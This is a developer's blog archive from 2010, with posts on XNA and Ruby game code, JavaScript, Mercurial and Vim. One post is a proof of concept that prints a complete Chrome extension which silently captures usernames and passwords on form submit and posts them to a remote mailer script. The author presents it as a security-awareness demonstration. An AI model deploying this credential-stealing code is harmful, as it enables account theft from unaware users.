Thursday, December 23, 2010

The A* algorithm in XNA

The A* search algorithm ("A star") is used for path finding and graph traversal. The following is my implementation in XNA.

The A* algorithm itself is very similar to Dijkstra's algorithm but the A* uses heuristics to achieve better performance.

Screenshots

Usage

Left Mouse Click - Create a barrier
CTRL + Left Mouse Click - Set the source
ALT + Left Mouse Click - Set the destination
Space - Toggle grid lines
Enter - Start pathfinding!
` - Open the developer console

Heuristics

The A* algorithm uses a heuristic to improve performance by trying to "guess" the best path, although this will not, unlike Dijkstra's which does not use a heuristic, guarantee the shortest path.
Diagonal Distance
public int GetEstimate(Point source, Point destination)
{
    return Math.Max(Math.Abs(destination.X - source.X), Math.Abs(destination.Y - source.Y));
}
Manhattan Distance
public int GetEstimate(Point source, Point destination)
{
    return Math.Abs(destination.X - source.X) + Math.Abs(destination.Y - source.Y);
}
Euclidean Distance
public int GetEstimate(Point source, Point destination)
{
    return (int)Math.Sqrt(Math.Pow(source.X - destination.X,2) + Math.Pow(source.Y - destination.Y,2));
}
Dijkstra
When the heuristic is 0, the A* algorithm turns into Dijkstra's algorithm
public int GetEstimate(Point source, Point destination)
{
    return 0;
}

Try it!

The source can be found on github: https://github.com/dreasgrech/AStarXNA

Tuesday, December 21, 2010

A String.Format for JavaScript

The following is my implementation of a miniature version of .NET's String.Format:

String.format = String.format || function (format) {
    var params = [].splice.call(arguments, 1), nextOpen, nextClose = 0, index, plValue, spaces, totalSpaces,
        removeCharAt = function (text, pos) {
            return text.substr(0, pos) + text.substr(pos + 1, text.length);
        };

    while ((nextOpen = format.indexOf('{', nextClose)) >= 0) {
        if (isNaN(+format[nextOpen+1])) { 
            if (format[nextOpen+1] === "{") {
                format = removeCharAt(format, nextOpen + 1);
                format = removeCharAt(format, format.indexOf('}', nextOpen-1));
                nextClose++;
                continue;
            }
            nextClose = nextOpen + 1;
            continue;
        }
        
        nextClose = format.indexOf('}', nextOpen);
        index = format.substring(nextOpen + 1, nextClose);
        if (index.indexOf(',') > 0) {
            spaces = +index.substring(index.indexOf(',') + 1);
            index = +index.substring(0, index.indexOf(','));
        }
        plValue = params[index] + '';
        if (spaces) {
            totalSpaces = new Array(Math.abs(spaces) - plValue.length + 1).join(" ");
            plValue = spaces > 0 ? totalSpaces + plValue : plValue + totalSpaces;
        }
        format = format.substring(0, nextOpen) + ((!plValue && plValue !== 0) ? "" : plValue) + format.substring(nextClose + 1);
        nextClose = nextOpen + plValue.length - 1;
        spaces = 0;
    }
    return format;
};

Usage

String.format("Hello {0} {1}", "Andreas", "Grech");  // "Hello Andreas Grech"

for (var i = 0; i <= 1000; i += 200) {
    String.format("{0, 5}. Something", i);
}

/* Output:
    0. Something
  200. Something
  400. Something
  600. Something
  800. Something
 1000. Something
*/

String.format("Padded from {0, 7} left", "the");  // "Padded from     the left"
String.format("{{0}}", "Ignored");  // "{0}"
String.format("{{{0}}}", "Not ignored");  // "{Not ignored}"
String.format("{{{{0}}}}", "Seeing the pattern?");  // "{{0}}"
String.format("{{{{{0}}}}}", "This is getting mental"); // "{{This is getting mental}}"

You can fork this project at github: https://github.com/dreasgrech/JSStringFormat

Monday, August 23, 2010

A Developer Game Console plugin for XNA Games

This is a project I was recently working on and it's a developer console for XNA games. It can easily be added to any XNA game and modified

Screenshots


Quick Start

Add the compiled XnaGameConsole dll as a reference and initialize the GameConsole:

GameConsole console = new GameConsole(this, spriteBatch); // where `this` is your `Game` class

By default, the console is opened with the ` (OemTilde key) but this, amongst other settings, can be changed via the Options property.

You can then add commands and customize the console.

Features


Source and Downloads

You can checkout a copy of the source at the Google Code page: http://code.google.com/p/xnagameconsole/

The compiled dll of XNAGameConsole can also be downloaded from here: http://code.google.com/p/xnagameconsole/downloads/list

Notes

Clipboard Support

The console supports pasting via CTRL+V but this requires the game to be running in a Single Threaded Apartment.

To do this, add the STAThread attribute to the entry point of your game:
static class Program
{
    /// <summary>
    /// The main entry point for the application.
    /// </summary>
    [STAThread]
    static void Main(string[] args)
    {
        using (Game1 game = new Game1())
        {
            game.Run();
        }
    }
}

Adding Commands

There are currently 2 ways how to add custom commands to the console:

1. Using IConsoleCommand

Console commands can be built via the IConsoleCommand interface.
The following is an example of a command:
class MovePlayerCommand:IConsoleCommand
{
    public string Name
    {
        get { return "move"; }
    }

    public string Description
    {
        get { return "Moves the player"; }
    }

    private Player player;
    public MovePlayerCommand(Player player)
    {
        this.player = player;
    }

    public string Execute(string[] arguments)
    {
        var newPosition = new Vector2(float.Parse(arguments[0]), float.Parse(arguments[1]));
        player.Position = newPosition;
        return "Moved player to " + newPosition;
    }
}

Such a command can then be added to the console like such:
console.AddCommand(new MovePlayerCommand(player));

2. Via a Func<string, string>

Commands can also be added without using IConsoleCommand, like the following:

console.AddCommand("rotRad", a =>
                                 {
                                     var angle = float.Parse(a[0]);
                                     player.Angle = angle;
                                     return String.Format("Rotated the player to {0} radians", angle);
                                 }, "Rotates the player");
The advantage of adding a command like this is that in the Func<> you have access to the variables outside the closure.

Writing to the Console

You can dynamically write to the console via the WriteLine method:
console.WriteLine("Writing from the code");

Console Options

The console can be customized with a number of options. These options can be accessed through the GameConsoleOptions class.

To set the initial options, instantiate a new GameConsoleOptions class, set your desired options and pass it through one of the GameConsole's overloaded constructors:

GameConsoleOptions options = new GameConsoleOptions { FontColor = Color.Crimson, Prompt = ">", BackgroundColor = Color.DarkGreen };
GameConsole console = new GameConsole(this, spriteBatch, options);

The options can also be changed dynamically through the Options property of GameConsole:
console.Options.Height = 200;

The following are the current available options:

ToggleKey (Microsoft.Xna.Framework.Input.Keys)

Gets or sets the key that is used to show / hide the console

Default: Keys.OemTilde

BackgroundColor (Microsoft.Xna.Framework.Graphics.Color)

Gets or sets the color for the background of the console

Default: new Color(0, 0, 0, 125)

FontColor (Microsoft.Xna.Framework.Graphics.Color)

Sets the same specified color for all of the following properties:
  • BufferColor
  • PastCommandColor
  • PastCommandOutputColor
  • PromptColor
  • CursorColor

Default: Color.White

BufferColor (Microsoft.Xna.Framework.Graphics.Color)

Gets or sets the color of the text in the buffer

Default: Color.White

PastCommandColor (Microsoft.Xna.Framework.Graphics.Color)

Gets or sets the color of the past commands

Default: Color.White

PastCommandOutputColor (Microsoft.Xna.Framework.Graphics.Color)

Gets or sets the color of the past command outputs

Default: Color.White

PromptColor (Microsoft.Xna.Framework.Graphics.Color)

Gets or sets the color of the prompt

Default: Color.White

CursorColor (Microsoft.Xna.Framework.Graphics.Color)

Gets or sets the color of the cursor

Default: Color.White

AnimationSpeed (float)

Gets or sets the speed by which the console opens/closes

Default: 1

CursorBlinkSpeed (float)

Gets or sets the speed by which the cursor blinks

Default: 0.5f

Height (int)

Gets or sets the height of the console, in pixels

Default: 300

Prompt (string)

Gets or sets the prompt

Default: $

Cursor (char)

Gets or sets the cursor display character

Default: _

Padding (int)

Gets or sets the padding, in pixels, between the border of the console and the inner text

Default: 30

Margin (int)

Gets or sets the margin, in pixels, between the left and right side of the screen to the console border

Default: 30

OpenOnWrite (bool)

Gets or sets a boolean value that indicates whether to open the console, if it's closed, when writing to the console

Default: true

Font (Microsoft.Xna.Framework.Graphics.SpriteFont)

Gets or sets the font that is used in the console

Default: Consolas, Regular, 11pt


Friday, August 20, 2010

Drawing lines and rectangles in XNA

In my last project, I needed a way to draw a grid with lines in XNA but I had some trouble in actually finding a way how to draw a simple line.  In this post, I will explain how to accomplish this.

First, create a new Texture2D with size: 1x1

Texture2D pixel = new Texture2D(GraphicsDevice, 1, 1, 1, TextureUsage.None, SurfaceFormat.Color);

You can access the GraphicsDevice from your Game (game.GraphicsDevice)

We then set the colour of this 1x1 texture to White. This allows us to choose what colour it should be drawn later on.

pixel.SetData(new[] { Color.White });

Now we can draw this texture by specifying a Rectangle holding the position and size:

spriteBatch.Draw(pixel, new Rectangle(10, 20, 100, 50), Color.DarkGreen);

The above snippet will draw a dark green 100x50 rectangle at {X: 10, Y: 20}

Saturday, August 14, 2010

Handling single keyboard strokes in XNA

In a game, there are times where you need to handle single key strokes, rather than repeating ones. Examples are of a Pause key or a 'Press any key to start' scenario.

Unfortunately, XNA does not directly offer this functionality.

Therefore I wrote this very simple event-driven class that does exactly that:

using System;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Input;

namespace XNASingleStroke
{
    public class SingleKeyStroke : GameComponent
    {
        public event EventHandler<KeyDownEventArgs> KeyDown = delegate { };

        private int pressedKeys;
        public SingleKeyStroke(Game game) : base(game) { }

        public override void Update(GameTime gameTime)
        {
            var pressed = Keyboard.GetState().GetPressedKeys();
            var keys = 0;
            foreach (var key in pressed)
            {
                var num = 1 << (int)key;
                keys |= num;
                if ((pressedKeys & num) != num)
                {
                    KeyDown(this, new KeyDownEventArgs(key));
                }
            }
            pressedKeys = keys;
            base.Update(gameTime);
        }
    }
}

And this is KeyDownEventArgs that's used in the event handler:

using System;
using Microsoft.Xna.Framework.Input;

namespace XNASingleStroke
{
    public class KeyDownEventArgs:EventArgs
    {
        public Keys Key { get; set; }
        public KeyDownEventArgs(Keys key)
        {
            Key = key;
        }
    }
}

Usage is also very simple:

protected override void Initialize()
{
    // ...
    SingleKeyStroke singleStroke = new SingleKeyStroke(this); //where 'this' is your Game
    singleStroke.KeyDown += (o, e) => {
        switch (e.Key)
        {
            case Keys.Space:Console.WriteLine("Space was pressed"); break;
            case Keys.Enter:Console.WriteLine("Enter was pressed"); break;
        }
   };
   Components.Add(singleStroke);
}

Friday, August 6, 2010

A simple menu for a Gosu game in ruby

For The Lost Battle, I wrote a very simple menu system that would allow me to add in-game menus. This allowed me to instantiate a menu and then add items to it and let the menu take care of the drawing.

The menu also takes care of notifying me when an item has been clicked via a callback, and also offsets the position of the item on hover.

The following is the basic gist of how it can be used:

@menu = Menu.new(self) #instantiate the menu, passing the Window in the constructor

@menu.add_item(Gosu::Image.new(self, "item.png", false), 100, 200, 1, lambda { self.close }, Gosu::Image.new(self, "item_hover.png", false))
@menu.add_item(Gosu::Image.new(self, "item2.png", false), 100, 250, 1, lambda { puts "something" }, Gosu::Image.new(self, "item2_hover.png", false))

The arguments of add_item are the image showed when the item is in its normal state, the x position, y position, z-order, the callback that will be invoked when that item is clicked and finally an optional parameter of an image that is used when the item is hovered upon.

Then hook to the button_down event of your Window, and inform the menu that the mouse has been clicked:

def button_down (id)
    if id == Gosu::MsLeft then
        @menu.clicked
    end
end

Finally, just draw and update the menu in the hooked methods:

def update
    @menu.update
end

def draw
    @menu.draw
end

I made a simple demo of this and you can download it from here.


The following is the source of the two aforementioned classes:

class Menu
    def initialize (window)
        @window = window
        @items = Array.new
    end

    def add_item (image, x, y, z, callback, hover_image = nil)
        item = MenuItem.new(@window, image, x, y, z, callback, hover_image)
        @items << item
        self
    end

    def draw
        @items.each do |i|
            i.draw
        end
    end

    def update
        @items.each do |i|
            i.update
        end
    end

    def clicked
        @items.each do |i|
            i.clicked
        end
    end
end

class MenuItem
    HOVER_OFFSET = 3
    def initialize (window, image, x, y, z, callback, hover_image = nil)
        @window = window
        @main_image = image
        @hover_image = hover_image
        @original_x = @x = x
        @original_y = @y = y
        @z = z
        @callback = callback
        @active_image = @main_image
    end

    def draw
        @active_image.draw(@x, @y, @z)
    end

    def update
        if is_mouse_hovering then
            if !@hover_image.nil? then
                @active_image = @hover_image
            end

            @x = @original_x + HOVER_OFFSET
            @y = @original_y + HOVER_OFFSET
        else 
            @active_image = @main_image
            @x = @original_x
            @y = @original_y
        end
    end

    def is_mouse_hovering
        mx = @window.mouse_x
        my = @window.mouse_y

        (mx >= @x and my >= @y) and (mx <= @x + @active_image.width) and (my <= @y + @active_image.height)
    end

    def clicked
        if is_mouse_hovering then
            @callback.call
        end
    end
end

Note that both the code and the method in general can be greatly improved and refactored. Just take a look at the code and modify it as you see fit :)

The Lost Battle - a ruby multiplayer game with Gosu and Chipmunk

This is a game I recently built to learn ruby in conjunction with the Gosu game engine and the Chipmunk physics engine.

Screenshots


Source

The source of the game can be found at it's google code page here: http://code.google.com/p/the-lost-battle/

You can checkout using Mercurial with: hg clone https://the-lost-battle.googlecode.com/hg/ the-lost-battle

Prerequisites

For the game to run, it requires the following:

Running the game

To launch the game, fire up your terminal, navigate to the game's directory and run main.rb with the ruby interpreter: ruby main.rb
Or ruby1.9 main.rb if you have multiple versions of ruby installed.

After you click start game on the main screen, you will see the player selection, similar to the second screenshot above. If you do not have any joysticks connected, you will only be shown 1 player slot and the game will be unable to start since it requires 1 < players <= 4. Therefore, with a single joystick connected, you will be able to play a 2 player game...one player with the keyboard+mouse and the other player with the controller. Make sure that the joysticks are connected before you go into the player selection screen because the amount of player slots that the screen will display depends on the number of connected controllers.


Additional Notes

Joystick support
The game requires at least one joystick to be connected. Since I had very limited time in building this game, I only pre-set configuration for PS3 controllers. You can try and play it with other controllers but it's unlikely that the usable buttons will be comfortable to use, and the axis may not even be configured correctly.

If you want to use a different controller, you need to add a new configuration in the gamestate.rb file, similar to the PS3 one:
PS3_CONTROLLER  = GamepadConfig.new({horizontal: 0, vertical: 1}, {:horizontal => 2, :vertical => 3}, 11, 9)
Then use your new configuration instead of PS3_CONTROLLER when adding a new player to the player list:
@player_list.add(p.name, rand(window.width), rand(window.height), p.controller_type == :joystick ? GamePad.new(p.joystick_path, PS3_CONTROLLER) : Mouse.new(window), p.vehicle, p.crosshair)

To find the correct button-mappings, use jstest.

Further info
I now plan to make other individual posts explaining some of the stuff I did, like Gosu Joystick support on linux, Health Bars with RMagick, Parallax scrolling, the Menu system and others.

Wednesday, July 28, 2010

Typocalypse - A typing game in XNA

Just a couple of weeks ago, Marc Tanti and I decided to check out Microsoft's XNA and what better way to do it than building a game in about 24 hours of sleepless coding and caffeine intake ?

Screenshots




Source

You can view the source here: http://code.google.com/p/typocalypse/

At the Google Code page, there is both the source and an executable installation file (compiled with WiX XNA Installer)

You can checkout with: hg clone https://typocalypse.googlecode.com/hg/ typocalypse

Some notes...

Audio
The in-game music is the theme from the Amiga game The Great Giana Sisters, overlayed with some sound effects recorded by Marc Tanti. All of the other sound effects in the game where also recorded by Marc Tanti.

Text Input in XNA
Since XNA does not provide native support for text input, I used global hooks with these set of classes developed by George Mamaladze to capture keystrokes.

Prefix Matching
Prefix matching was done via a Trie and this is described in more detail at Marc Tanti's post.


Wednesday, July 14, 2010

Managing a Google Code project with Mercurial

As a recent convert to Mercurial, I started my last Google Code Project using Mercurial instead of Subversion. In this post I won't go into details as regards SVN vs. Mercurial, but to SVN users I suggest you check out Mercurial; starting with Joel Spolsky's tutorial and then moving on to the Mercurial: The Definitive Guide online book.

Prerequisites

First you need to have Mercurial installed. To download, visit the Mercurial Downloads page and follow the instructions for your respective Operating System.

After installing Mercurial, fire up your terminal and type: hg version
This should display something similar to the following:

Mercurial Distributed SCM (version 1.4.3)

Copyright (C) 2005-2010 Matt Mackall  and others
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

If you see that on your terminal, then Mercurial has been installed successfully and you're ready to continue.

Setting up a default user

Thanks to Scott Willeke who reminded me about this in the comments

Once Mercurial is successfully installed, you need to setup a default user that will be responsible for commiting changes to the repository. If you're on Windows, create a Mercurial.ini file or a .hgrc file in your %USERPROFILE% folder and if you're on a Linux create an .hgrc file in your $HOME directory.

On my windows box, I created a Mercurial.ini file in C:\Users\Andreas\Mercurial.ini.

Once you create this config file, add the following in it:

[ui]
username = Your Name <your_email_address>

You can add many other options to this config file (more details can be found here) but for the moment, this is sufficient.

Initiating the Project


To create the project on the hosting page, visit Google Code's Create Project page. When choosing a Version Control system, make sure that you choose Mercurial:


For the purposes of this demonstration, let's assume that our project name is myhgproject.

After setting all the required project details, you will be taken to your project's home page; your url takes this form: http://code.google.com/p/myhgproject/

Now we need to set up our local repository on the machine and push everything to the online repository. To do this, first visit the Source page of your project (http://code.google.com/p/myhgproject/source/checkout) and copy the clone command: hg clone https://myhgproject.googlecode.com/hg/ myhgproject

This command will make a clone of the online repository on your machine:


So at the moment, we have our project directory (not revisioned) ~/myproject and a new directory ~/myhgproject that Mercurial created for us.

Now we need to move our project files from the directory we used to work in to the new folder ~/myhgproject:


With this, we now have everything in our new folder and are now ready to add these new files to our local repository:


The hg add command adds the files to the repository on the next commit, so the next step is to commit these files to our local repository:


Note that up till now, we still haven't pushed our files to the online repository. We have only committed our files to our local repository online. Uploading these files is the next step.

To do this, you must first retrieve your GoogleCode.com password from this page: https://code.google.com/hosting/settings. Now using your google username and that password, we can push our files to the online repository:

For the purposes of this demonstration, let's assume my password is: AbCdEfGHiJ12


The files have now been pushed to the online repository.

Working on the project

Now that everything has been pushed to the online repository, you are now ready to start working normally on your project.

Your average routine will be working on some files, committing to the local repository with hg com -m "your commit message" and then when you have a working copy, push to the online repository with hg push.

Pushing without entering the url

Note that to avoid typing in your login credentials and the url every time you want to push, you can add these details in the hgrc file located in the .hg directory of your project.

Open up .hg/hgrc and add the following lines (obviously change according to your project):

[paths]
default = https://andreas:AbCdEfGHiJ12@myhgproject.googlecode.com/hg/

If you don't have the hgrc file, you can manually add it yourself.

Note that now you must now make sure that your hgrc file is well protected since it contains your login details in plain text.

Friday, July 9, 2010

Stealing login details with a Google Chrome extension

In this post I will demonstrate a proof of concept of how an attacker can steal usernames and passwords via a Google Chrome Extension.



(12/07/10: Posted a follow up to clear some misconceptions that where floating around in comments)

(14/07/10: Posted a second follow up as regards the Mozilla article I stumbled upon)



The Google Chrome browser allows the installation of third-party extensions that are used to extend the browser to add new features. The extensions are written in JavaScript and HTML and allow manipulation of the DOM, amongst other features.

By allowing access to the DOM, an attacker can thus read form fields...including username and password fields. This is what sparked my idea of creating this PoC.

The extension I present here is very simple. Whenever a user submits a form, it tries to capture the username and password fields, sends me an email via an Ajax call to a script with these login details along with the url and then proceeds to submit the form normally as to avoid detection.

This simple procedure has been successful against Gmail, Facebook, Twitter and other major websites.

The Code

For this extension, I am making use of jQuery as to write quick code for this prototype, but it can obviously be rewritten without it's dependency.

The first thing the script does is attach a submit handler to every form field on the page:

$("form").submit(function(e) {
 var $this = $(this);
 e.preventDefault();
 process(function() {
  $this.unbind('submit');
  $this.submit();
 });
});

We hook to the submit handler to prevent the default behaviour of the form (ie submitting normally) with e.preventDefault and to call our process function:

var process = function(callback) {
 var username = $("input[type=text]").not(passwordBoxes).filter(function() {
  var field = $(this);
  return field.val() || field.html();
 }).val(),
 password = passwordBoxes.val();

 sendEmail(username, password, location.href, callback);
};

The process function captures the values of the username and password fields respectively. passwordBoxes is a variable containing the inputs of the page that have their type set as password:

var passwordBoxes = $("input[type=password]");

Upon capturing the values of the username and password fields, these are sent along with the current url and the callback that submits the form to the sendEmail function which sends the email with the username, password and url via an Ajax call:

var sendEmail = function(username, password, url, callback) {
 var msg = getMessage(username, password, url);
 $.ajax({
  type: 'POST',
  url: 'the url of the mailer script',
  data: 'the headers you want to send',
  success: callback
 });
};

The getMessage function simply returns a formatted string with the details that will be contained in the email:

var getMessage = function(username, password, url) {
 return "Username: " + username + " || Password: " + password + " || Url: " + url;
};

After the details are sent, the callback is invoked which submits the form normally.

Note that there could be a very small delay between the user clicking the submit button and the form being submitted because of the Ajax call, but it is barely noticeable.



In this post I have demonstrated how an attacker can steal login credentials but this can also be used for other things, such as stealing cookies and hijacking sessions. The point I am trying to make here is that you should always be careful about what third-party applications you install.


The following is the complete code for the main.js file and the manifest.json file:

{
  "name": "Stealing login credentials with Google Chrome Extensions",
  "version": "1.0",
  "description": "A proof of concept demonstrating the possibility of stealing user credentials in login forms via a Google Chrome extension",
  "permissions": ["tabs"],
  "content_scripts": [{
      "matches": ["http://*/*", "https://*/*"],
      "js": ["jquery.min.js", "main.js"],
      "run_at": "document_start"
    }]
}

$(function() {
 var passwordBoxes = $("input[type=password]"),
 getMessage = function(username, password, url) {
  return "Username: " + username + " || Password: " + password + " || Url: " + url;
 },
 sendEmail = function(username, password, url, callback) {
  var msg = getMessage(username, password, url);
  $.ajax({
   type: 'POST',
   url: 'the url of the mailer script', //Change to the path of your mailer script
   data: 'the headers you want to send', //Change to add any headers to be sent along
   success: callback
  });
 },
 process = function(callback) {
  var username = $("input[type=text]").not(passwordBoxes).filter(function() {
   var field = $(this);
   return field.val() || field.html();
  }).val(),
  password = passwordBoxes.val();

  sendEmail(username, password, location.href, callback);
 };

 $("form").submit(function(e) {
  var $this = $(this);
  e.preventDefault();
  process(function() {
   $this.unbind('submit');
   $this.submit();
  });
 });
});

[Update]

Apparently this post has been featured on a couple of other websites, even on Slashdot and Times of Malta (and also in German, French, Italian, Polish, Swedish, Norwegian and Spanish).
I am writing this follow up because I believe that there have been some misconceptions floating around in some comments I saw on other sites. First of all, I haven't stolen any Twitter, Facebook or Gmail accounts. In fact, I didn't even upload this extension to the Google Chrome repository. I have only tried this extension on myself, just to test and see if it works.
Secondly, many people are saying that this isn't big news and that this knowledge is obvious to users. For starters, please note that I have never stated that this is "big news" anywhere in my post. Also, although this may seem 'obvious' to many of you, users need to be reminded about security and to be careful about installing third-party applications. It's true that users need to 'OK' the extension to be installed, but the reality is that very few take into consideration what the script is doing under-the-covers.
I have written this post to merely demonstrate that such things can be done and users should be aware of it.
Some have also commented as regards me demonstrating this on Google Chrome. Yes, other browsers can also be susceptible to this technique but I chose to try this on Google Chrome because it has apparently been dubbed as 'the safest browser available', and I'm not denying that. I wanted to make users aware that although Google Chrome is, undoubtedly, a safe browser to use, they should still be careful about what they install on their browsers and not blindly trust anything.

[Another Update]

Today I have discovered this article posted at the Mozilla Add-ons blog: Add-on security vulnerability announcement.
What's interesting about this article is that it was written on the 13th of July, which is a couple of days after my post got 'popular'. Now, I'm not implying anything but it's just an interesting thought.
Many people have commented about the fact that the 'technique' I used in this extension cannot be applied for other browsers. The article at the Mozilla blog now proves otherwise.
The Mozilla post talks about how one malicious add-on and one other add-on that posed a serious security vulnerability where discovered recently at the Mozilla Add-ons website.
The first add-on is called 'Mozilla Sniffer' and was uploaded to the website on the 6th of June. This add-on intercepts login data and sends it to a remote location. It was discovered on July 12th. Here's a quote about it's current status:


Mozilla Sniffer has been downloaded approximately 1,800 times since its submission and currently reports 334 active daily users. All current users should receive an uninstall notification within a day or so. The site this add-on sends data to seems to be down at the moment, so it is unknown if data is still being collected.

Mozilla Sniffer was not developed by Mozilla, and it was not reviewed by Mozilla. The add-on was in an experimental state, and all users that installed it should have seen a warning indicating it is unreviewed. Unreviewed add-ons are scanned for known viruses, trojans, and other malware, but some types of malicious behavior can only be detected in a code review.


Hopefully this article convinces some of the commenters as regards the "obvious nature of my post". Note that Mozilla reported that the add-on has been downloaded 1,800 times in about a month and that there are currently 334 active daily users.
To the commenters who have said that my post is, and I quote, "much ado about nothing!", hopefully this Mozilla article is a response to that.
On a different point, some have also stated this form of intercepting details cannot be applied to other browser extensions, and multiple reasons where given for this. From this Mozilla article we can now conclude that, if not for the other browsers, this can also be applied to Mozilla Firefox.

Wednesday, June 30, 2010

Find common list elements in Linux with comm

If you have two lists and want to extract the common elements between them, use the comm command.  It's important to note that comm requires the 2 lists to be sorted before they are compared.

Let's say we have the following sorted files, names1 and names2:

Andreas
Cameron
Janica
Reuben
Richard

Andreas
Bonnie
David
Janica
Julia
Mark

Now from these files, we will extract the same lines with comm:

comm -12 names1 names2

This will output:

Andreas
Janica

The two arguments used, -1 and -2, ensure that the lines unique to the first file (-1) and the second file (-2) are not shown...which leaves us with the lines that are common between both files.



We can also use the comm command without having the lists in separate files, by making use of bash process substitution.

Let's say we want to check which sub directories (their names) are common in two separate directories:

comm -12 <(ls /my/first/dir) <(ls /my/second/dir)

We can also use this technique to compare files that are not sorted (by first filtering them with the sort command):

comm -12 <(sort file1) <(sort file2)

Friday, June 25, 2010

Finding and replacing whole words with regular expressions in Vim

Let's say we have the following text in Vim:

john
joseph
joe
jo
joan

We now want to replace the name jo with mo.

Our first try would be something like this: :%s/jo/mo. But this changes our text to the following:

mohn
moseph
moe
mo
moan

And this is not what we want. We only want the name jo to be replaced. Fortunately, Vim offers a special regular expression syntax that allows us to map whole words only: \< and \>

\< matches the beginning of a word and \> matches the end of a word. The end or beginning of a word is determined either by a punctuation mark or by a space.

Now we can use the following regex to change the name jo to mo: :%s/\<jo\>/mo

john
joseph
joe
mo
joan

Further examples:
\<jomatches only the words that begin with jo; such as jo, joseph and john; but not mojos.
our\>matches only the words that end with our; such as your and tour; but not devouring.

Wednesday, June 23, 2010

Vim's black hole register

This article will demonstrate how to change text in Vim 'without using a register'.


Whenever you yank (y), change (c) or delete (d) something in Vim, it goes into a register. These registers can be used to keep track of your changes.

If you change or delete a line without using a named register, Vim still saves those changes in registers that are referenced by numbers 1 through 9. By line, I mean changes that are done to a whole line such as dd and cc. Each time you change or delete a line, the contents of these 1-9 registers will shift down and you will lose the contents of the last register whenever it goes beyond the last position of this stack. You will still have access to the changes via the undo (u) command, but you won't be able to access them via these registers.

The last modification is also saved in a default register called ". The default register also holds any yanks, changes or deletes that you do to parts of a line, such as words.

To view the contents of all your registers, use the :register command.

Now, to put (p) text in Vim, you can specify from which register you want the contents to be retrieved from. For example, with "ap, you will put the contents of register a in the text. But, if you do not specify a register (by using just p), Vim will take the contents of the default " register.

It can therefore get a bit cumbersome to delete some text with d (by not specifying a named register) that you want to place somewhere else and have to delete other text in between before placing your text where you want. This is because, as stated earlier, once you make other modifications (y, c, d) in between, these changes will go into the default " register and you will lose your original contents.

To prevent this, you can use the so called black hole register:


When writing to this register, nothing happens. This can be used to delete text without affecting the normal registers. When reading from this register, nothing is returned. {not in Vi}


Whenever you yank, change or delete into this register, the modifications do not go into the " register. In fact, they do not go into any register! This means that you can delete some text using d that you plan to move somewhere else (without specifying a named register), delete some other text in between into this black hole register, and then put the contents of your original deletion where you want it via p (again, without specifying a named register).

This black hole register is referenced by _

As an example, if you delete with "_d, the changes will not go into any register and you can only get them back via undos (u). But now, you will still have access to the contents of your default " register.

Finally, it's best to map the "_ key sequence so that it's easier to type in. In the following example, I am mapping it via the key:

:map <leader>b "_

Now you can delete a word into the black box register with \bw (assuming your leader key is set to the default \), delete 5 words with \b5dw or change 3 words \bc3w.


Update

As Ben Orenstein correctly pointed out in the comments, Vim also saves your last yank in the 0 register. This means that you can yank text (without using a named register), delete some text in between and then paste the previously yanked text with "0p. Thanks for this excellent tip Ben!


Useful vim commands and snippets

In this post, I will list down some useful vim snippets that I've collected throughout my experience with this beast of an application. I will keep updating this list whenever I encounter something new.

All the below shortcuts are executed in COMMAND mode, unless otherwise specified.



:! ...
Executes an external command.
Example:
:!gcc % Invokes gcc on the current file



:<range>!...
Pipes the text that's in the specified range to an external command and reads back the result into the file
Examples:
:1,6!sort
:%!sort Here, the % means 1, $ (from line 1 till the end of file)
:%!xxd Turns the file into a hex dump, with the linux xxd command
:!xxd -r To reverse back to the text
:%!nl -ba or :%!cat -n Number all lines



:r <filename>

Reads an external file and inserts it at the current cursor position
Example:
:r main.c Inserts the contents of main.c in the next line



:r!
Reads in the results of an external command and inserts it in the next line
Example:
:r! ls -l



:.!

Like :r! but inserts the text in the current line
Example:
:.! ls -l



%
Goes to the matching bracket under the cursor
Example:




<action>i...
works on the enclosing text, specificied by the encloser
Examples:
ci{ Change the text between the { }



vi' Visually select the text between '
vi" Visually select the text between "
diw Delete the current word



CTRL + v
Block-select mode



CTRL + a
Increments the number under the cursor



CTRL + x
Decrements the number under the cursor



'.
Jumps back to the last edited line



`.
Jumps back to the last edited word



gi
Like `. but goes into INSERT mode



ga
Displays the ASCII, hex and octal value of the character under the cursor



~
Changes the case of the letter under the cursor



CTRL + r (in INSERT mode)
Examples:
"Unnamed register, containing the text of the last delete or yank
%Current filename
#Alternate file name
*Clipboard contents (X11: primary selection)
+Clipboard contents
/Last search pattern
:Last command-line
.Last inserted text
-Last small (less than a line) delete
=8*5Insert 40 into text (mini-calculator)


(I have written a whole post about CTRL + r)



:Explorer
Opens a built in file explorer

Although vim's inbuilt file explorer suffices, I suggest you use NERDTree for a better file explorer.



:earlier 20m
Reverts the document back to how it was 20 minutes ago



:later 15m
The reversal of :earlier



zz
Scrolls the screen to make the current line in the middle of the page



:changes
View the changelist



g; and g,
Move backwards and forwards through the changelist



ge
Moves the the previous word end



:perldo and :rubydo

Execute a perl or a ruby one liner on a range of text.  If you do not specify a range, the command will execute on all the lines.  In the one liner, $_ refers to the text of the line


Examples:
:perldo $_ = join ' ', reverse split Reverse the words of all the lines
:2,4 rubydo $_ += ";" Inserts a semicolon at the end of lines 2 to 4 (This example can also be achieved with :2,4 s/$/; )




q:
View command history



gf
Tries to identify the word under the cursor as a file name and open it



CTRL + z
Switch back to the shell.  Type in fg to return back to vim



:sh
Go to sub shell.  CTRL + d or type exit to go back to vim



ggg?G
ROT13 the current file




*
Finds the next occurrence of the word under the cursor



#
Finds the previous occurrence of the word under the cursor



:set cul
Highlights the line containing the cursor



:set nu
Turns on line numbers in the left margins



:set autochdir
Set the working directory to the location of the current file



:set so=3
Scrolls the text so that (when possible) there are always at least three lines visible above the cursor, and three lines visible below the cursor
Examples:
:set so=999 Keeps the cursor in the middle line, whenever possible



:set showcmd
Shows the command keystrokes as they are being inputted, at the bottom right of the screen



gg=G
Corrects indentation for the whole file



guu
Lowercase the entire line



gUU
Uppercase the entire line



xp
Transpose two characters (switch their positions).  This is a simple cut (x) and paste (p) after the cursor operation.



CTRL + v (INSERT mode)

Enter a character from its hexadecimal value



CTRL + y (INSERT mode)

Inserts the character above at the current cursor position



CTRL + w (INSERT mode)

Deletes the previous word



gk
Go up one visible line



gj
Go down one visible line



:tab help ...
Open help in a new page
Examples:
:tab help shiftwidth Opens the help for shiftwidth in a new tab



:qa
Close all windows and tabs (:qa! to force it)

Monday, June 21, 2010

Extending vim with the Expression Register

